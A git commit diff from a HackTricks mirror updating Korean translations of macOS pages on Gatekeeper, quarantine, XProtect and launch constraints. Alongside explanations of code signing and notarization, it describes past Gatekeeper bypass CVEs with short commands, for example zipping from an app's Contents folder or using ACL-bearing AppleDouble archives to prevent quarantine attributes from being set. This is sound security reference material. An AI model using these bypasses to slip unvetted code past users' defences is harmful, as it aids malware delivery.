mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
24c366fa11
commit
53ca7607dc
20 changed files with 678 additions and 593 deletions
|
@ -1,16 +1,19 @@
|
|||
# macOS Gatekeeper / Quarantine / XProtect
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS 해킹을 제로에서 영웅으로 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 당신은 **사이버 보안 회사**에서 일하고 있습니까? 당신의 **회사가 HackTricks에 광고되기를 원하십니까**? 아니면 **최신 버전의 PEASS에 접근하거나 HackTricks를 PDF로 다운로드**하고 싶습니까? [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
|
||||
* [**PEASS 패밀리**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 받으세요.
|
||||
* **참여하세요** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 또는 **Twitter에서** 저를 **팔로우하세요** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **당신의 해킹 기술을 공유하세요,** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **와** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -18,29 +21,29 @@
|
|||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper**는 Mac 운영 체제를 위해 개발된 보안 기능으로, 사용자가 **신뢰할 수 있는 소프트웨어만 실행**하도록 보장합니다. 이는 사용자가 **App Store 외부의 소스**에서 다운로드하고 열려고 시도하는 소프트웨어를 **검증**함으로써 작동합니다. 예를 들어 앱, 플러그인 또는 설치 패키지가 있습니다.
|
||||
**Gatekeeper**는 Mac 운영 체제를 위해 개발된 보안 기능으로, 사용자가 **신뢰할 수 있는 소프트웨어만** 시스템에서 실행하도록 보장합니다. 이는 사용자가 **App Store 외부의 소스**에서 다운로드하고 열려고 시도하는 소프트웨어(앱, 플러그인 또는 설치 패키지 등)를 **검증**함으로써 작동합니다.
|
||||
|
||||
Gatekeeper의 핵심 메커니즘은 **검증** 프로세스에 있습니다. 다운로드한 소프트웨어가 **인정된 개발자에 의해 서명되었는지** 확인하여 소프트웨어의 진위를 보장합니다. 또한, 소프트웨어가 **Apple에 의해 노타리제이션되었는지** 확인하여 알려진 악성 콘텐츠가 없고 노타리제이션 후에 변조되지 않았음을 확인합니다.
|
||||
Gatekeeper의 핵심 메커니즘은 **검증** 프로세스에 있습니다. 다운로드한 소프트웨어가 **인정된 개발자에 의해 서명되었는지** 확인하여 소프트웨어의 진위를 보장합니다. 또한, 소프트웨어가 **Apple에 의해 노타리제이션**되었는지 확인하여 알려진 악성 콘텐츠가 없고 노타리제이션 이후에 변조되지 않았음을 확인합니다.
|
||||
|
||||
또한, Gatekeeper는 사용자가 다운로드한 소프트웨어를 처음 열 때 **승인하도록 요청**하여 사용자 제어 및 보안을 강화합니다. 이 보호 장치는 사용자가 무심코 해로운 실행 코드를 실행하는 것을 방지하는 데 도움을 줍니다.
|
||||
또한, Gatekeeper는 사용자가 다운로드한 소프트웨어를 처음 열 때 **승인을 요청**하여 사용자 제어 및 보안을 강화합니다. 이 보호 장치는 사용자가 무심코 해로운 실행 코드를 실행하는 것을 방지하는 데 도움을 줍니다.
|
||||
|
||||
### 애플리케이션 서명
|
||||
### Application Signatures
|
||||
|
||||
애플리케이션 서명, 즉 코드 서명은 Apple의 보안 인프라의 중요한 구성 요소입니다. 이는 **소프트웨어 저자의 신원을 검증**하고 코드가 마지막으로 서명된 이후에 변조되지 않았음을 보장하는 데 사용됩니다.
|
||||
애플리케이션 서명, 즉 코드 서명은 Apple의 보안 인프라의 중요한 구성 요소입니다. 이는 소프트웨어 저자(개발자)의 **신원을 검증**하고 코드가 마지막으로 서명된 이후에 변조되지 않았음을 보장하는 데 사용됩니다.
|
||||
|
||||
작동 방식은 다음과 같습니다:
|
||||
|
||||
1. **애플리케이션 서명:** 개발자가 애플리케이션을 배포할 준비가 되면, **개인 키를 사용하여 애플리케이션에 서명**합니다. 이 개인 키는 개발자가 Apple Developer Program에 등록할 때 Apple이 발급하는 **인증서와 연결되어 있습니다**. 서명 프로세스는 앱의 모든 부분에 대한 암호화 해시를 생성하고 이 해시를 개발자의 개인 키로 암호화하는 과정을 포함합니다.
|
||||
2. **애플리케이션 배포:** 서명된 애플리케이션은 개발자의 인증서와 함께 사용자에게 배포되며, 이 인증서에는 해당 공개 키가 포함되어 있습니다.
|
||||
3. **애플리케이션 검증:** 사용자가 애플리케이션을 다운로드하고 실행하려고 시도할 때, Mac 운영 체제는 개발자의 인증서에서 공개 키를 사용하여 해시를 복호화합니다. 그런 다음 현재 애플리케이션 상태를 기반으로 해시를 재계산하고 이를 복호화된 해시와 비교합니다. 일치하면 **애플리케이션이 수정되지 않았음을 의미**하며, 시스템은 애플리케이션 실행을 허용합니다.
|
||||
3. **애플리케이션 검증:** 사용자가 애플리케이션을 다운로드하고 실행하려고 시도할 때, Mac 운영 체제는 개발자의 인증서에서 공개 키를 사용하여 해시를 복호화합니다. 그런 다음 현재 애플리케이션 상태를 기반으로 해시를 재계산하고 이를 복호화된 해시와 비교합니다. 일치하면 **애플리케이션이 개발자가 서명한 이후로 수정되지 않았음을 의미하며**, 시스템은 애플리케이션 실행을 허용합니다.
|
||||
|
||||
애플리케이션 서명은 Apple의 Gatekeeper 기술의 필수적인 부분입니다. 사용자가 **인터넷에서 다운로드한 애플리케이션을 열려고 시도할 때**, Gatekeeper는 애플리케이션 서명을 검증합니다. Apple이 알려진 개발자에게 발급한 인증서로 서명되었고 코드가 변조되지 않았다면, Gatekeeper는 애플리케이션 실행을 허용합니다. 그렇지 않으면 애플리케이션을 차단하고 사용자에게 경고합니다.
|
||||
|
||||
macOS Catalina부터는 **Gatekeeper가 애플리케이션이 Apple에 의해 노타리제이션되었는지**도 확인하여 추가 보안 계층을 추가합니다. 노타리제이션 프로세스는 애플리케이션에서 알려진 보안 문제와 악성 코드를 검사하며, 이러한 검사가 통과하면 Apple은 Gatekeeper가 검증할 수 있는 티켓을 애플리케이션에 추가합니다.
|
||||
|
||||
#### 서명 확인
|
||||
#### Check Signatures
|
||||
|
||||
일부 **악성 샘플**을 확인할 때는 항상 **바이너리의 서명**을 **확인해야** 합니다. 서명한 **개발자**가 이미 **악성 소프트웨어와 관련이 있을 수** 있기 때문입니다.
|
||||
일부 **악성 샘플**을 확인할 때는 항상 **서명**을 확인해야 하며, 서명한 **개발자**가 이미 **악성 코드와 관련이 있을 수 있습니다.**
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
@ -59,7 +62,7 @@ codesign -s <cert-name-keychain> toolsdemo
|
|||
```
|
||||
### Notarization
|
||||
|
||||
Apple의 노타리제이션 프로세스는 사용자를 잠재적으로 해로운 소프트웨어로부터 보호하기 위한 추가적인 안전장치 역할을 합니다. 이는 **개발자가 자신의 애플리케이션을** **Apple의 노타리 서비스**에 제출하여 검토를 받는 과정을 포함합니다. 이 서비스는 App Review와 혼동해서는 안 됩니다. 이 서비스는 **자동화된 시스템**으로, 제출된 소프트웨어에서 **악성 콘텐츠**와 코드 서명과 관련된 잠재적인 문제를 면밀히 조사합니다.
|
||||
Apple의 노타리제이션 프로세스는 사용자를 잠재적으로 해로운 소프트웨어로부터 보호하기 위한 추가적인 안전장치 역할을 합니다. 이는 **개발자가 자신의 애플리케이션을** **Apple의 노타리 서비스**에 제출하여 검토를 받는 과정을 포함합니다. 이 서비스는 App Review와 혼동해서는 안 됩니다. 이 서비스는 **자동화된 시스템**으로, 제출된 소프트웨어에 **악성 콘텐츠**와 코드 서명과 관련된 잠재적인 문제를 검사합니다.
|
||||
|
||||
소프트웨어가 우려 사항 없이 이 검사를 **통과**하면, 노타리 서비스는 노타리제이션 티켓을 생성합니다. 개발자는 **이 티켓을 자신의 소프트웨어에 첨부해야** 하며, 이를 '스테이플링'이라고 합니다. 또한, 노타리제이션 티켓은 온라인에 게시되어 Gatekeeper, Apple의 보안 기술이 이를 접근할 수 있습니다.
|
||||
|
||||
|
@ -157,7 +160,7 @@ spctl --assess -v /Applications/App.app
|
|||
**격리 플래그가 존재하지 않는 경우**(일부 BitTorrent 클라이언트를 통해 다운로드된 파일과 같이), Gatekeeper의 **검사가 수행되지 않을 수 있습니다**. 따라서 사용자는 덜 안전하거나 알려지지 않은 출처에서 다운로드한 파일을 열 때 주의해야 합니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
**코드 서명의 유효성**을 **확인하는** 것은 코드와 모든 번들 리소스의 암호화된 **해시**를 생성하는 **자원 집약적인** 과정입니다. 또한, 인증서 유효성 확인은 발급 후 취소되었는지 확인하기 위해 Apple의 서버에 **온라인 확인**을 수행하는 것을 포함합니다. 이러한 이유로, 앱이 실행될 때마다 전체 코드 서명 및 인증 확인을 **실행하는 것은 비현실적입니다**.
|
||||
**코드 서명의 유효성**을 **확인하는** 것은 코드와 모든 번들 리소스의 암호화된 **해시**를 생성하는 **자원 집약적인** 과정입니다. 또한, 인증서 유효성을 확인하는 것은 발급 후 취소되었는지 확인하기 위해 Apple의 서버에 **온라인 확인**을 수행하는 것을 포함합니다. 이러한 이유로, 앱이 실행될 때마다 전체 코드 서명 및 인증 확인을 **실행하는 것은 비현실적입니다**.
|
||||
|
||||
따라서 이러한 검사는 **격리 속성이 있는 앱을 실행할 때만 수행됩니다.**
|
||||
{% endhint %}
|
||||
|
@ -165,7 +168,7 @@ spctl --assess -v /Applications/App.app
|
|||
{% hint style="warning" %}
|
||||
이 속성은 **파일을 생성/다운로드하는 응용 프로그램에 의해 설정되어야 합니다.**
|
||||
|
||||
그러나 샌드박스된 파일은 생성하는 모든 파일에 이 속성이 설정됩니다. 비샌드박스 앱은 스스로 설정하거나 **Info.plist**에서 [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) 키를 지정하여 시스템이 생성된 파일에 `com.apple.quarantine` 확장 속성을 설정하도록 할 수 있습니다.
|
||||
그러나 샌드박스된 파일은 생성하는 모든 파일에 이 속성이 설정됩니다. 비샌드박스 앱은 스스로 설정할 수 있거나, 시스템이 생성된 파일에 `com.apple.quarantine` 확장 속성을 설정하도록 **Info.plist**에서 [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) 키를 지정할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
또한, **`qtn_proc_apply_to_self`**를 호출하는 프로세스에 의해 생성된 모든 파일은 격리됩니다. 또는 API **`qtn_file_apply_to_path`**는 지정된 파일 경로에 격리 속성을 추가합니다.
|
||||
|
@ -185,7 +188,7 @@ xattr file.png
|
|||
com.apple.macl
|
||||
com.apple.quarantine
|
||||
```
|
||||
확인하십시오 **값** 의 **확장된** **속성** 및 찾으십시오 앱이 쓴 **격리** 속성:
|
||||
확인하십시오 **값** **확장된** **속성** 및 다음과 같이 격리 속성을 작성한 앱을 찾으십시오:
|
||||
```bash
|
||||
xattr -l portada.png
|
||||
com.apple.macl:
|
||||
|
@ -201,7 +204,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
|
|||
# Brave -- App
|
||||
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
||||
```
|
||||
실제로 프로세스는 "생성한 파일에 격리 플래그를 설정할 수 있습니다" (생성된 파일에 USER_APPROVED 플래그를 적용하려고 했지만 적용되지 않았습니다):
|
||||
실제로 프로세스는 "생성한 파일에 격리 플래그를 설정할 수 있습니다" (생성한 파일에 USER_APPROVED 플래그를 적용하려고 했지만 적용되지 않았습니다):
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -289,13 +292,13 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
|
|||
|
||||
### XProtect
|
||||
|
||||
XProtect는 macOS에 내장된 **안티멀웨어** 기능입니다. XProtect는 **응용 프로그램이 처음 실행되거나 수정될 때 알려진 멀웨어 및 안전하지 않은 파일 유형의 데이터베이스와 비교하여 검사합니다**. Safari, Mail 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드하면 XProtect가 자동으로 파일을 스캔합니다. 파일이 데이터베이스의 알려진 멀웨어와 일치하면 XProtect는 **파일 실행을 차단하고 위협에 대해 경고합니다**.
|
||||
XProtect는 macOS에 내장된 **안티멀웨어** 기능입니다. XProtect는 **응용 프로그램이 처음 실행되거나 수정될 때 알려진 맬웨어 및 안전하지 않은 파일 유형의 데이터베이스와 비교하여 검사합니다**. Safari, Mail 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드하면 XProtect가 자동으로 파일을 스캔합니다. 파일이 데이터베이스의 알려진 맬웨어와 일치하면 XProtect는 **파일 실행을 차단하고 위협에 대해 경고합니다**.
|
||||
|
||||
XProtect 데이터베이스는 **Apple에 의해 정기적으로** 새로운 멀웨어 정의로 업데이트되며, 이러한 업데이트는 자동으로 다운로드되어 Mac에 설치됩니다. 이를 통해 XProtect는 항상 최신 알려진 위협에 대해 최신 상태를 유지합니다.
|
||||
XProtect 데이터베이스는 **Apple에 의해 정기적으로** 새로운 맬웨어 정의로 업데이트되며, 이러한 업데이트는 자동으로 다운로드되어 Mac에 설치됩니다. 이를 통해 XProtect는 항상 최신 알려진 위협에 대해 최신 상태를 유지합니다.
|
||||
|
||||
그러나 **XProtect는 완전한 기능을 갖춘 안티바이러스 솔루션이 아닙니다**. 특정 알려진 위협 목록만 검사하며 대부분의 안티바이러스 소프트웨어처럼 접근 시 스캔을 수행하지 않습니다.
|
||||
|
||||
최신 XProtect 업데이트에 대한 정보를 얻으려면 다음을 실행하십시오:
|
||||
최신 XProtect 업데이트에 대한 정보를 얻으려면:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -303,48 +306,48 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
XProtect는 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**에 위치하며 SIP 보호 위치에 있습니다. 번들 안에는 XProtect가 사용하는 정보가 있습니다:
|
||||
XProtect는 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**에 위치하며, 번들 안에는 XProtect가 사용하는 정보가 있습니다:
|
||||
|
||||
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: 해당 cdhashes를 가진 코드가 레거시 권한을 사용할 수 있도록 허용합니다.
|
||||
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleID 및 TeamID를 통해 로드가 금지된 플러그인 및 확장 목록 또는 최소 버전을 나타냅니다.
|
||||
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: 맬웨어를 탐지하기 위한 Yara 규칙입니다.
|
||||
* **`XProtect.bundle/Contents/Resources/gk.db`**: 차단된 애플리케이션 및 TeamID의 해시가 포함된 SQLite3 데이터베이스입니다.
|
||||
|
||||
**`/Library/Apple/System/Library/CoreServices/XProtect.app`**에는 Gatekeeper 프로세스와 관련이 없는 또 다른 앱이 있다는 점에 유의하십시오.
|
||||
**`/Library/Apple/System/Library/CoreServices/XProtect.app`**에 XProtect와 관련된 또 다른 앱이 있지만, Gatekeeper 프로세스와는 관련이 없습니다.
|
||||
|
||||
### Not Gatekeeper
|
||||
### Gatekeeper가 아님
|
||||
|
||||
{% hint style="danger" %}
|
||||
Gatekeeper는 애플리케이션을 실행할 때마다 **실행되지 않습니다**. 오직 _**AppleMobileFileIntegrity**_ (AMFI)만이 Gatekeeper에 의해 이미 실행되고 검증된 앱을 실행할 때 **실행 가능한 코드 서명을 검증**합니다.
|
||||
{% endhint %}
|
||||
|
||||
따라서 이전에는 앱을 실행하여 Gatekeeper로 캐시한 후 **애플리케이션의 비실행 파일**(예: Electron asar 또는 NIB 파일)을 수정하고 다른 보호 장치가 없으면 애플리케이션이 **악성** 추가 사항과 함께 **실행**되었습니다.
|
||||
따라서 이전에는 앱을 실행하여 Gatekeeper로 캐시한 후, **애플리케이션의 실행 불가능한 파일**(예: Electron asar 또는 NIB 파일)을 수정하고, 다른 보호 장치가 없다면 애플리케이션이 **악성** 추가 사항과 함께 **실행되었습니다**.
|
||||
|
||||
하지만 이제는 macOS가 애플리케이션 번들 내 파일 수정을 **방지하기 때문에** 이 작업이 불가능합니다. 따라서 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 공격을 시도하면 더 이상 이를 악용할 수 없음을 알게 될 것입니다. 왜냐하면 앱을 실행하여 Gatekeeper로 캐시한 후 번들을 수정할 수 없기 때문입니다. 예를 들어 Contents 디렉토리의 이름을 NotCon으로 변경하고(악용에서 지시된 대로) 앱의 주요 바이너리를 실행하여 Gatekeeper로 캐시하면 오류가 발생하고 실행되지 않습니다.
|
||||
하지만 이제는 macOS가 애플리케이션 번들 내 파일 수정을 **방지하기 때문에** 이 방법은 더 이상 불가능합니다. 따라서 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 공격을 시도하면, 앱을 실행하여 Gatekeeper로 캐시한 후 번들을 수정할 수 없기 때문에 더 이상 악용할 수 없음을 알게 될 것입니다. 예를 들어 Contents 디렉토리의 이름을 NotCon으로 변경하고(익스플로잇에 명시된 대로) 앱의 주요 바이너리를 실행하여 Gatekeeper로 캐시하면 오류가 발생하고 실행되지 않습니다.
|
||||
|
||||
## Gatekeeper Bypasses
|
||||
## Gatekeeper 우회
|
||||
|
||||
Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 Gatekeeper가 이를 차단해야 할 때 실행하도록 만드는 것)은 macOS의 취약점으로 간주됩니다. 과거에 Gatekeeper를 우회할 수 있게 해준 기술에 할당된 CVE는 다음과 같습니다:
|
||||
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
**Archive Utility**를 사용하여 추출할 경우 **경로가 886자를 초과하는** 파일이 com.apple.quarantine 확장 속성을 받지 않는 것이 관찰되었습니다. 이 상황은 의도치 않게 해당 파일이 **Gatekeeper의** 보안 검사를 **우회**할 수 있게 합니다.
|
||||
**Archive Utility**를 사용하여 추출할 경우, **경로가 886자를 초과하는** 파일은 com.apple.quarantine 확장 속성을 받지 않는 것으로 관찰되었습니다. 이 상황은 의도치 않게 해당 파일이 **Gatekeeper의** 보안 검사를 **우회**할 수 있게 합니다.
|
||||
|
||||
자세한 내용은 [**원본 보고서**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)를 확인하십시오.
|
||||
자세한 내용은 [**원본 보고서**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)를 확인하세요.
|
||||
|
||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
|
||||
**Automator**로 생성된 애플리케이션의 경우 실행에 필요한 정보가 `application.app/Contents/document.wflow`에 있으며 실행 파일에는 없습니다. 실행 파일은 **Automator Application Stub**이라는 일반 Automator 바이너리입니다.
|
||||
**Automator**로 생성된 애플리케이션의 경우, 실행에 필요한 정보는 `application.app/Contents/document.wflow`에 있으며 실행 파일에는 없습니다. 실행 파일은 **Automator Application Stub**이라는 일반 Automator 바이너리입니다.
|
||||
|
||||
따라서 `application.app/Contents/MacOS/Automator\ Application\ Stub`가 **시스템 내 다른 Automator Application Stub을 가리키는 심볼릭 링크로 설정**할 수 있으며, 그러면 `document.wflow`(당신의 스크립트) **를 실행하되 Gatekeeper를 트리거하지 않습니다**. 실제 실행 파일에는 격리 xattr가 없기 때문입니다.
|
||||
따라서 `application.app/Contents/MacOS/Automator\ Application\ Stub`이 **시스템 내 다른 Automator Application Stub을 가리키는 심볼릭 링크로 설정**할 수 있으며, 그러면 `document.wflow`(당신의 스크립트) **를 실행하되 Gatekeeper를 트리거하지 않습니다**. 실제 실행 파일에는 격리 xattr가 없기 때문입니다.
|
||||
|
||||
예상 위치: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||
|
||||
자세한 내용은 [**원본 보고서**](https://ronmasas.com/posts/bypass-macos-gatekeeper)를 확인하십시오.
|
||||
자세한 내용은 [**원본 보고서**](https://ronmasas.com/posts/bypass-macos-gatekeeper)를 확인하세요.
|
||||
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
이 우회에서는 `application.app/Contents`에서 압축을 시작하는 애플리케이션으로 zip 파일이 생성되었습니다. 따라서 **quarantine attr**가 **`application.app/Contents`의 모든 파일에 적용되었지만** **`application.app`에는 적용되지 않았습니다**. Gatekeeper가 확인하는 것은 `application.app`이었기 때문에, `application.app`이 트리거될 때 **quarantine 속성이 없었기 때문에** Gatekeeper가 우회되었습니다.
|
||||
이 우회에서는 `application.app/Contents`에서 압축을 시작하는 애플리케이션으로 zip 파일이 생성되었습니다. 따라서 **quarantine attr**는 **`application.app/Contents`의 모든 파일에 적용되었지만**, **`application.app`에는 적용되지 않았습니다**. Gatekeeper가 확인하는 것은 `application.app`이기 때문에, Gatekeeper는 우회되었습니다. `application.app`이 트리거될 때 **quarantine 속성이 없었습니다.**
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
|
@ -369,7 +372,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
|||
```
|
||||
Moreover, **AppleDouble** 파일 형식은 ACE를 포함하여 파일을 복사합니다.
|
||||
|
||||
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서 ACL이 다른 xattrs의 기록을 방지하는 애플리케이션을 **AppleDouble** 파일 형식으로 zip 파일로 압축했다면... 격리 xattr는 애플리케이션에 설정되지 않았습니다:
|
||||
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서 ACL이 다른 xattrs가 작성되는 것을 방지하는 애플리케이션을 **AppleDouble** 파일 형식으로 zip 파일로 압축했다면... 격리 xattr는 애플리케이션에 설정되지 않았습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -380,7 +383,7 @@ python3 -m http.server
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
자세한 내용은 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)를 확인하세요.
|
||||
자세한 정보는 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)를 확인하세요.
|
||||
|
||||
이것은 AppleArchives로도 악용될 수 있습니다:
|
||||
```bash
|
||||
|
@ -391,7 +394,7 @@ aa archive -d app -o test.aar
|
|||
```
|
||||
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||
|
||||
**구글 크롬이 다운로드된 파일에 격리 속성을 설정하지 않는** 것으로 발견되었습니다. 이는 일부 macOS 내부 문제 때문입니다.
|
||||
**구글 크롬이 다운로드된 파일에 격리 속성을 설정하지 않는** 문제가 macOS 내부 문제로 발견되었습니다.
|
||||
|
||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
|
||||
|
|
|
@ -1,57 +1,58 @@
|
|||
# macOS 실행/환경 제약 및 신뢰 캐시
|
||||
# macOS Launch/Environment Constraints & Trust Cache
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 **HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
|
||||
*
|
||||
* .
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 기본 정보
|
||||
## Basic Information
|
||||
|
||||
macOS에서의 실행 제약은 **프로세스가 어떻게, 누구에 의해, 어디에서 시작될 수 있는지를 규제**하여 보안을 강화하기 위해 도입되었습니다. macOS Ventura에서 시작된 이러한 제약은 **시스템 바이너리를 서로 다른 제약 범주로 분류**하는 프레임워크를 제공하며, 이는 시스템 바이너리와 해당 해시를 포함하는 **신뢰 캐시** 내에서 정의됩니다. 이러한 제약은 시스템 내의 모든 실행 가능한 바이너리에 적용되며, 특정 바이너리를 실행하기 위한 요구 사항을 나타내는 **규칙** 집합으로 구성됩니다. 이 규칙은 바이너리가 만족해야 하는 자체 제약, 부모 프로세스가 충족해야 하는 부모 제약, 그리고 기타 관련 엔티티가 준수해야 하는 책임 제약을 포함합니다.
|
||||
macOS의 실행 제약은 **프로세스가 어떻게, 누구에 의해, 어디서 시작될 수 있는지를 규제하여 보안을 강화하기 위해 도입되었습니다**. macOS Ventura에서 시작된 이들은 **각 시스템 바이너리를 별개의 제약 카테고리로 분류하는 프레임워크**를 제공합니다. 이 카테고리는 시스템 바이너리와 해당 해시를 포함하는 **신뢰 캐시** 내에 정의됩니다. 이러한 제약은 시스템 내의 모든 실행 가능한 바이너리에 적용되며, **특정 바이너리를 실행하기 위한 요구 사항을 설명하는 규칙** 세트를 포함합니다. 규칙은 바이너리가 충족해야 하는 자기 제약, 부모 프로세스가 충족해야 하는 부모 제약, 그리고 관련된 다른 엔티티가 준수해야 하는 책임 제약을 포함합니다.
|
||||
|
||||
